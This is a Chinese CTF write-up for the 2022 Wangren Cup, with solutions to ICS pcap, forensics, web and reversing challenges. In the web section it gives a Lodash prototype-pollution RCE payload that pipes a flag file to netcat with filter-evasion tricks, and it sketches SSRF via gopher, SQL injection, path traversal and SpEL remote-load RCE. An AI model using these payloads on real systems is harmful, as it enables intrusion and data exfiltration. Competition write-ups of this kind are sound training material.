2022第二届网刃杯WP
2022第二届网刃杯比赛WP
成绩
ICS
LED_BOOM
png中一段对称加密密文U2FsdGVkX19cOOV8qLVgcso8U4fse+7LirQKiHFkn9HU9BuwFAivH1siJXg/Rk6z
查看一下流量包,还是老样子s7comm
刚开始一直被program的stop给吸引住了,后来按长度排序的时候发现唯一出现只有3次的包,正好长度也只出现3次
按顺序排得到密码585692787
拿去解AES得到flag
flag{tietie_tietie_tiet13} |
carefulguy
在查看流的时候发现66 6c 61 67
全部撸下来得到66 6c 61 67 7b 70 34 75 73 33 31 35 76 33 72 79 31 6e 74 33 72 65 73 74 69 63 39 7d
hex后得到flag
flag{p4us315v3ry1nt3restic9} |
喜欢移动的黑客
流量包头部损坏,把FF FF FF FF改成 0A 0D 0A 0D即可打开,然后
老考点咯,看modbus的data,其中找到2766
int之后发现是10086>10000,应该就是了,然后当时一直没交上,问了一下管理说需要把加号去掉,因此得到flag
flag{1008668156} |
easyiec
flag{e45y_1eci04} |
xyp07
注释最下面
Vm0weGQxRXlTWGxVV0d4V1YwZFNVRlpyV25kWlZsSllZMFZrVmxKdVFsaFdNalZMWWtkS1IxTnFSbGhYU0VKNlZsWmFWMVpWTVVWaGVqQTk=
一直解base得到密码Xyp77&7&77
直接过滤s7comm协议,追踪流慢慢看,发现一串很突兀的
iPE=e>we,9:={]RnBjf<7_8Cw1b
第一反应:rot47 base91 base92 xor 变异凯撒
最后base91解码得到welcome_S7_world_xyp07
flag{welcome_S7_world_xyp07} |
需要安全感
只能说千万别去下载百度随便找的几百MB的,打开直接提示不支持指定的CPU类型,每次安装都得二三十分钟,md。
然后下载下来就是gxw拓展名,去百度了一下发现是三菱GX Works,然后去官网下载了
可还行,这次安装之后打开就能够成功打开题目文件了。
找了一圈找到flag字样
判断t_flag = true_flag,f_flag = false_flag尝试提交,正确
flag{tr20220413} |
cryptolalia
首先鱼不知道有什么用,先解压。
打开用010看图片,发现开头是RIFF 后面跟一个webp,能够猜测该图为webp图片
往后拉发现有PK,因此搜索了一下504b0304
将前面的删掉,改zip解压
叫咱污水处理厂的流程顺序要先去分析污泥脱水数据,再去分析设备药剂数据。
然后发现两个都有密码,再结合hint因此去爆破
解压后打开流量包,在查找流的时候在modbus流中注意到对称加密字符串
即U2FsdGVkX19pczQKWsMcjgrJt8f09dSN
本来还是不会做的,突然主办发了个hint说”鱼 is important”
为什么不写fish呢?因此尝试用fish当key,解TripleDes的时候成功解开
得到另一个压缩包的密码为b0Le4n$
里面一个txt和一个zip,txt最后写了年轻人,有时候眼见不一定为实!
压缩包直接打开是这样的
因此去010看一下,发现源文件数据区的加密位为00,而目录区的加密位为09,因此改成00再打开即可恢复
依旧是过滤s7comm,然后在查看流的时候发现了这个
但直接原始数据导出,会混入垃圾数据,因此用tshark导出
tshark -r .\设备药剂间数据采集.pcap -T fields -e s7comm.resp.data -Y s7comm > pic.txt
找到这一坨,将其16进制写入文件
保存为png,解析发现chunk0出错
猜测高度被修改了,因此修改成更高的高度
得到flag
具体flag是什么忘掉了,不是flag{G00D_J0B_3DES_Xiwu2XwsdP}
就是flag{GOOD_JOB_3DES_Xiwu2XwsdP}
Misc
玩坏的winxp
dg分析
首先是看桌面
1 2 3 4都没用,虽然1.png后面还有一句一句话木马但是与之无关
然后发现套了很多东西,最后是一个压缩包
解压之后又是一张图片,后面又有一个压缩包,最后得到一个要密码的压缩包
没有下载QQ,但是下载了火狐,因此将火狐的导出。这里火狐的考点通常有:保存的密码、cookies、backup、缓存、下载历史、网站ico、登录、表单数据、导航历史、收藏夹等。
这里戴围脖估计是QQ,但是没有直接指向QQ的,火狐也没保存密码,猜测是历史记录
首先用dg导出,我的是破解的,不知道非破解版能不能全部导出
用DB打开,找了一圈后发现在places中,即考点为firefox的书签 + 导航历史
:
qq是吧,打开看空间去了
得到解压密码xiaomin520。得到flag
flag{this_is_what_u_want8} |
Web
Sign_in
SSRF的漏洞,在读取file:///proc/net/arp
发现内网存在另外一台机子
访问获得flag需要满足:GET参数a
、POST参数b
、X-Forwarded-For为127.0.0.1、Referer为bolean.club
构造脚本如下
b = "b=1" |
利用gopher
协议请求获取flag
upload
题目中给出了提示为sql注入,测试发现是从filename处进行注入的,这边可以使用报错注入
由于这里是通过.
截断后缀名拼接进sql语句的,相当于过滤了.
,这里盲猜的flag表名和列名的
最后使用substr函数绕过报错长度限制
ezjs
参考文章:从 Lodash 原型链污染到模板 RCE - 安全客,安全资讯平台 (anquanke.com)
利用如下Payload进行测试
{"__proto__":{"sourceURL":"\u000aglobal.process.mainModule.constructor._load('child_process').exec('ping${IFS}xxxxx.dnslog.cn')"}} |
可通
这里过滤了curl、wget、>、空格等参数,可以利用ls|nc${IFS}ip${IFS}port
的方式将内容外带出来
{"__proto__":{"sourceURL":"\u000aglobal.process.mainModule.constructor._load('child_process').exec('base64${IFS}/.fl\"\"ag|nc${IFS}ip${IFS}8989')"}} |
解码即可获得flag
ez_java
文件读取漏洞,限制了../../../
才行,读取配置文件download?filename=../../../web.xml
接着读取TestServlet.class
文件,download?filename=../../../classes/com/abc/servlet/TestServlet.class
,源码如下
package com.abc.servlet; |
这里考的是spel 表达式注入,使用的是TemplateParserContext
,则使用#{}
闭合,这里利用load()
远程加载进行rce
a.js
var a=exp();function exp(){ |
Payload
http://124.220.9.19:8024/test388 |
re
去年AK了,今年又AK
ez_algorithm
加密逻辑主要在encryption里面。里面很复杂,各种判断+调用。但是我动调起来发现,他是单字节加密。我立马就想到了爆破。我用python调用subprocess库来实现调用他进行爆破。
爆破前,需将0x2c00位置的28个字符全部设定位00
根据strcmp /00截断进行爆破
from subprocess import Popen, PIPE |
程序中间好像有点问题,但是懒得修了 :) 我直接根据爆破得到的语义,然后重新拼写动调进行验证最后手动(恢复之前正确的硬编码)添加进去再进行下一段flag的爆破。其中根据下图的提示猜中了了两个 _ ,放在比对字符串出现特殊字符的对应位置,动调发现刚好比对字符串的特殊字符
最后得到flag : flag{w3Lc0mE_t0_3NcrYPti0N:}
定时启动
pyinstall打包的的elf,https://github.com/extremecoders-re/pyinstxtractor/wiki/Extracting-Linux-ELF-binaries。
把核心部分搞出来就可以用解包脚本pyinstxtractor。
主程序
发现是导入包,一开始以为要逆pyd,但是再发现导入的包,
直接反编译成py文件如下,发现flag就在里面
加个打印,直接就出来了
# !/usr/bin/env python |
Re_function
开头misc题,丢给misc做
注释89 50,明显的png,用010保存为png
根据一半,得到解压密码3CF8
有花指令,11,22,33 直接nop掉
发现主程序就是异或
把数值dump出来。偶数异或0x37
f=[0x64, 0x71, 0x54, 0x54, 0x64, 0x78, 0x74, 0x78, 0x64, 0x41, |
还有一个程序,直接发现是base64,但是换表了。在第二个文件中,搜字符串就看到
FeVYKw6a0lDIOsnZQ5EAf2MvjS1GUiLWPTtH4JqRgu3dbC8hrcNo9/mxzpXBky7+
直接拿表替换一下解就行 http://web.chacuo.net/netbasex
flag{we1come_t0_wrb}
freestyle
谜语提,是我数学太差了。
化简一下如下,
#3 * a/ 9==1109 |
进一步计算,就可以得到
a=3327
b=49
一开始一直不理解题,最小被除。。
一直尝试,最后发现是49+56
最后的flag为
flag{md5(3327105)}
即flag{31a364d51abd0c8304106c16779d83b1}
2022第二届网刃杯WP
1.2021NCTF比赛WP
2.2021安询杯wp
3.2021陇原战疫WP
4.2021bytectf线上WP
5.2021绿城杯wp
6.2021第一届长城杯网络安全大赛WP
7.2021第五空间大赛WP
8.2021网刃杯WP